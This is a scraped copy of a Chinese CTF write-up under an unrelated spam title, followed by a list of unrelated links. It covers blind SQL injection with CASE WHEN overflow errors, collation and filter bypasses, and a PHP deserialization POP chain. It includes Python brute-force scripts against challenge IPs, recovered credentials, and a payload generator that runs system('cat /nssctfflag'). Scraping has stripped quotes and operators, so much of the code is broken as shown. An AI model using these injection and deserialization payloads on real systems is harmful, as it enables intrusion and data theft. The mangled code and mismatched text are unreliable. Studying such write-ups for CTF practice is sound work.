当前位置: 首页 > news >正文

北京网站开发网站建设咨询wordpress一直加载插件

北京网站开发网站建设咨询,wordpress一直加载插件,网站建设仟首选金手指,网站开发待遇好吗目录 REGEXP的一个点#xff08;正则#xff09; like#xff08;默认不区分大小写#xff09; 当禁用了空格 regexp#xff0c;like的区分大小写的使用方法 [CISCN 2022 初赛]ezpentest 卡点 2022 HFCTF babysql 最近又学到了一道新知识#xff0c;case when的错…目录 REGEXP的一个点正则 like默认不区分大小写 当禁用了空格 regexplike的区分大小写的使用方法 [CISCN 2022 初赛]ezpentest 卡点  2022 HFCTF babysql 最近又学到了一道新知识case when的错误注入也是盲注的一种。 mysql select case binary B when a then 1 when b then 2 end; 结果返回 NULL 解释一下这个就可以理解也就是首先二进制B然后when后面其实就是判断如果判断成功执行 then都没有则会返回NULL mysql select id from tb where id0 || case 1 when flag REGEXP ^f then 1 else 1~0 end; 单纯看的话这段代码基本就是sql注入的后端id后面的东西是需要我们注入的 0 || case 1 when flag REGEXP ^f then q else 1~0 end; REGEXP后面是是否以f开头重点是这里如果不成立则会 1~0  这里 ~ 为取反操作符0 取反即为最大值再加 1 溢出报错 使用条件一般会禁用掉if(),然后溢出报错会显示500所以我们可以进行一个盲注。 REGEXP的一个点正则 ^                         匹配字符串的开始部分 $                         匹配字符串的结束部分 .                          匹配任何字符(包括回车和新行) 如果我们使用这个函数进行sql盲注的时候如果匹配到了需要转义一下 if i in .:i \\ i like默认不区分大小写 LIKE 关键字支持百分号“%”和下划线“_”通配符。一样转义 WHERE name LIKE t%; WHERE name LIKE BINARY t%;区分大小写当禁用了空格 使用科学计数法和单反引号绕过 mysql SELECT id FROM tb WHERE id0 ||CASE1e0WHENflagREGEXP^fTHEN1e0ELSE~0e0~0e0END;CASE1e0WHENflagREGEXP^fTHEN1e0ELSE~0e0~0e0END;  case 1 when flag REGEXP ^f then 1 else 1~0 end; 比较看来也就是变成了科学计数法然后else后面的值变了 1~0   -------------》   ~0e0~0e0 解释是科学计数法的范围变大了。 regexplike的区分大小写的使用方法 mysql SELECT abc LIKE _utf8mb4 ABC COLLATE utf8mb4_0900_as_cs;- 0 mysql SELECT abc LIKE _utf8mb4 ABC COLLATE utf8mb4_bin;- 0 mysql SELECT abc LIKE BINARY ABC;- 0mysql SELECT id FROM tb WHERE id0 ||CASE1e0WHENflagREGEXPBINARY^FTHEN1e0ELSE~0e0~0e0ENDD; ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in (~(0e0) ~(0e0))mysql SELECT id FROM tb WHERE id0 ||CASE1e0WHENflagREGEXP^FCOLLATEutf8mb4_binTHEN1e0ELSE~0e0~0e0ENDD; ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in (~(0e0) ~(0e0)) [CISCN 2022 初赛]ezpentest ?php function safe($a) {$r preg_replace(/[\s,()#;*~\-]/,,$a);$r preg_replace(/^.*(?union|binary|regexp|rlike).*$/i,,$r);return (string)$r;}? //正则这里\s表示所有空白字符比如空格tab%00等 ///^.*(?union|binary).*$/gi表示匹配所有包含union和binary等的字符串发现了我们字符比较regexp和rlike 都禁用了if用不了没括号所以只能用上面讲的case when和like import string import requestsstr string.ascii_letters string.digits $!^}{_% payload 0||case1whenusernamecollateutf8mb4_binlike{}%then92233720368547758071else0end|| payload1 0||case1whenpasswordcollateutf8mb4_binlike{}%then92233720368547758071else0end|| url http://1.14.71.254:28582/login.php f while 1:for i in str:if i in %_:i \\ iresp requests.post(urlurl, data{username: payload.format(f i),password: 0})if resp.status_code 500:f iprint(f)break这里不用~0e0是因为~被过滤掉了所以直接用的最大数1  得出 username: nssctfwabbybaboo!$%!!br password: PAssw40d_Y0u3_Never_Konwn!!! 因为这个解密要求非常严格所以最好通过脚本下载下来 ?php$url http://1.14.71.254:28391/login.php; $ch curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_COOKIE, PHPSESSIDru3g5iqq3bcj80jv5btt4hgdj0); $result curl_exec($ch); curl_close($ch); echo urlencode($result); file_put_contents(jiemi2.php, $result); //保存会话内容八成是 登陆进去后页面显示乱码然后看源码发现是PHPJiaMi.com加密然后github上有解密脚本  ?php session_start(); if(!isset($_SESSION[login])){//session必须要存在die(); } function Al($classname){include $classname..php; //文件包含漏洞自动加php }if(isset($_REQUEST[a])){$c $_REQUEST[a];$o unserialize($c);//反序列化说明我们要传一个序列化好的数据if($o false) {die(Error Format);}else{spl_autoload_register(Al);$o unserialize($c);$raw serialize($o);if(preg_match(/Some/i,$raw)){throw new Error(Error);}$o unserialize($raw);var_dump($o);} }else {echo file_get_contents(SomeClass.php); } 审计代码后发现是利用pop链spl_autoload_register这个函数就是自动加载类当new一个没有包含的类时他就会自动调用类A1静态方法来包含所需的类,但是里面过滤掉了some并且下面会抛出错误所以我们的思路是提前调用destruct. 直接访问获得另一个文件 卡点  这里我单纯的以为访问哪个目录就会是哪个php但不是通过上面的file_get_contents(SomeClass.php)虽然访问/ND3x...但其实这个文件是Someclass.php Someclass.php  ?php class A {public $a;public $b;public function see(){$b $this-b;$checker new ReflectionClass(get_class($b));if(basename($checker-getFileName()) ! SomeClass.php){if(isset($b-a)isset($b-b)){($b-a)($b-b.);}}} } class B {public $a;public $b;public function __toString(){$this-a-see();return 1;} } class C {public $a;public $b;public function __toString(){$this-a-read();return lock lock read!;} } class D {public $a;public $b;public function read(){$this-b-learn();} } class E {public $a;public $b;public function __invoke(){$this-a $this-b. Powered by PHP;}public function __destruct(){//eval($this-a); ??? 吓得我赶紧把后门注释了//echo ???;die($this-a);} } class F {public $a;public $b;public function __call($t1,$t2){$s1 $this-b;$s1();} }?这里卡就卡在 $checker new ReflectionClass(get_class($b));         if(basename($checker-getFileName()) ! SomeClass.php){             if(isset($b-a)isset($b-b)){                 ($b-a)($b-b.);             }         } 通过看别的师傅wp可以发现需要用一个原生类然后($b-a)($b-b.);不就是  system(ls)的格式吗原生类-a  -b就可以了用Error()或者别的都可以。 ?php class A {public $a;public $b;public function see(){$b $this-b;$checker new ReflectionClass(get_class($b));if(basename($checker-getFileName()) ! SomeClass.php){if(isset($b-a)isset($b-b)){($b-a)($b-b.);}}} } class B {public $a;public $b;public function __toString(){$this-a-see();return 1;} }class E {public $a;public $b;public function __invoke(){$this-a $this-b. Powered by PHP;}public function __destruct(){//eval($this-a); ??? 吓得我赶紧把后门注释了//echo ???;die($this-a);} } class SomeClass{public $a; } $enew E(); $bnew B(); $anew A(); $e-a$b; $b-a$a; $xnew Error(); $x-asystem; $x-bcat /nssctfflag; $a-b$x; $resultnew SomeClass(); $result-a$e; $result serialize(array($result,0)); $result str_replace(i:1,i:0,$result); $result urlencode($result); echo $result; a:2:{i:0;O:9:SomeClass:1:{s:1:a;O:1:E:2:{s:1:a;O:1:B:2:{s:1:a;O:1:A:2:{s:1:a;N;s:1:b;O:5:Error:9:{s:10:*message;s:0:;s:13:Errorstring;s:0:;s:7:*code;i:0;s:7:*file;s:15:/box/script.php;s:7:*line;i:63;s:12:Errortrace;a:0:{}s:15:Errorprevious;N;s:1:a;s:6:system;s:1:b;s:2:ls;}}s:1:b;N;}s:1:b;N;}}i:1;i:0;} 这里为什么加了一个 SomeClass方法呢别的wp都没有结束我之能猜测一下那是因为第一个文件压根没包含Someclass文件然后有了new SomeClass()这样就可以包含Someclass这个文件至于后面的array($result,0),还有替换就是GC的回收机制如果 a:2:{i:0;O:9:SomeClass:1:{s:1:a;O:1:E:2:{s:1:a;O:1:B:2:{s:1:a;O:1:A:2:{s:1:a;N;s:1:b;O:5:Error:9:{s:10:*message;s:0:;s:13:Errorstring;s:0:;s:7:*code;i:0;s:7:*file;s:15:/box/script.php;s:7:*line;i:50;s:12:Errortrace;a:0:{}s:15:Errorprevious;N;s:1:a;s:6:system;s:1:b;s:15:cat /nssctfflag;}}s:1:b;N;}s:1:b;N;}}i:0;i:0;}  把i 本应该等于 1修改为 i 0。那不就是把i 0指向NULL了吗然后就实现了GC回收。 HFCTF2022_babysql题目复现 (pankas.top) 2022 HFCTF babysql import requests import timesession requests.session()burp0_url http://47.107.231.226:30631/login burp0_headers {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0,Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8,Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2, Accept-Encoding: gzip, deflate,Content-Type: application/x-www-form-urlencoded, Origin: http://47.107.231.226:30631, Connection: close, Referer: http://47.107.231.226:30631/,Upgrade-Insecure-Requests: 1}alphabet abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!.%*{}[]_-^/ password ^while True:for i in alphabet:burp0_data {username: f1||case1E0whenpasswordregexp{password i}COLLATEutf8mb4_binthen1E0else!0E0~0!0E0end||0, password: 6878}r session.post(burp0_url, headersburp0_headers, databurp0_data)if r.status_code 401:print(i)password ibreaktime.sleep(0.3)print(password) 逻辑很简单和上面的题差不多区别在于 regexp ^q以及用的科学计数法 m52FPlDxYyLB.eIzAr!8gxh. 这样会产生点为什么呢因为.相当于一个通配符所以可以和上面一样转义掉就行。
http://www.dnsts.com.cn/news/147071.html

相关文章:

  • 绥化市建设局官方网站四川建设局网站
  • 做一个官方网站多少钱wordpress创建自定义页面模板
  • wamp网站开发视频教程阿里巴巴吧做网站
  • 网站开发为什么需要团队完成克隆网站后台
  • 威海做网站whhl做网站用到的技术
  • 网站开发项目报价单建设网站的合约
  • 网站头部ps购物网站的建设时间
  • 网站做3儿童车开场动画青海住房与城乡建设厅网站
  • 鲜花店网站建设的规模设想seo培训优化课程
  • 企业网站建设要多虚拟电脑主机平台
  • 微网站首页佛山做企业网站
  • 腾讯云网站备案流程wordpress添加支付
  • 深圳网站设计优刻技术外包网站
  • 建设部门户网站条例免费下载公司开发个网站有哪些
  • 紫金网站制作哪个网站教做西餐
  • 做h5场景的网站官方传奇游戏
  • 自己用模板做网站陕西省门户网站建设政策
  • 唐山哪个公司做网站网站建设费用用
  • 设计云网站wordpress购买按钮插件
  • php搭建一个简单的网站phpnow 安装wordpress
  • 网站开发未来发展趋势广州 海珠 建网站
  • wordpress仿站容易被收录不dw网站指向邮箱超链接怎么做
  • 网站访问很慢企业网站建设时优化关键词的问题
  • 深圳招聘一般在哪个网站重要的龙岗网站建设
  • 息壤网站打不开了网站建设公司信科网络
  • 淘宝客优惠券网站建设教程外包公司
  • 天津网站建设排名开发公司起名
  • 网站建设_秀米排版编辑器 wordpress
  • 京东网站的建设与发展现状中国新闻社归哪个部门管
  • 网站建设产品话术新乡网站制作